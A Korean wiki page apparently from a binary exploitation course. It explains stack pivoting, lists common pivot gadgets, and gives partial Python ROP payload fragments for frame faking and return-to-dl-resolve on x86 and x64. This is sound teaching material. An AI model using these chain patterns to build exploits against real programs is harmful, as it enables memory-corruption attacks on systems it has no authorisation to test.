16.Stack pivot

Error rendering macro 'html'

Notify your Confluence administrator that "Bob Swift Atlassian Apps - HTML" requires a valid license. Reason: VERSION_MISMATCH

Error rendering macro 'html'

Notify your Confluence administrator that "Bob Swift Atlassian Apps - HTML" requires a valid license. Reason: VERSION_MISMATCH

List

Stack pivot

- **Stack pivot는 간단한 가젯을 이용하여 Stack의 흐름을 변경하거나, EAX,RAX 의 값을 변경(+"Call eax" Gadget)하여 코드의 흐름을 변경하는 기술입니다.**
- **다음은 일반적인 Stack pivot Gadget 입니다.**
  - 이외에도 다양한 Stack pivot Gadget이 있을 수 있습니다.

Stack pivot Gadget

Gadget	
add esp, offset; ret	mov esp, register; ret
sub esp, offset ret	leave ; ret
call register	mov register,[ebp+0c]; call register
push register; pop esp; ret	mov reg, dword ptr fs:[0]; …; ret
xchg register, esp; ret	

Example

"leave; ret" Gadget

- Exploit "leave; ret" Gadget을 이용하여 Stack의 흐름을 변경합니다.
  - **04.Frame faking(Fake ebp)**

```
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(stackAddr)
exploit += p32(leave)
```

"POP ebp" or "return-to-csu" Gadget + "leave; ret" Gadget

- 아래 Exploit 기법에서는 "POP ebp" Gadget과 "return-to-csu" gadget을 이용하여 EBP, RBP 레지스터의 값을 변경합니다.
- 그리고 Stack pivot Gadget인 "leave; ret"을 이용하여 Stack의 흐름을 변경하였습니다.
    - Return-to-dl-resolve - x86
    - Return-to-dl-resolve - x64(feat.Return-to-csu)

Return-to-dl-resolve - x86

```
...
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
...
```

Return-to-dl-resolve - x64(feat.Return-to-csu)

```
...
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)     # rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)
...
```

References

- https://www.cs.ucr.edu/~heng/pubs/pblocker-acsac15.pdf
- http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/11/07_lecture.pdf

Comments

Error rendering macro 'html'

Notify your Confluence administrator that "Bob Swift Atlassian Apps - HTML" requires a valid license. Reason: VERSION_MISMATCH

Error rendering macro 'html'

Notify your Confluence administrator that "Bob Swift Atlassian Apps - HTML" requires a valid license. Reason: VERSION_MISMATCH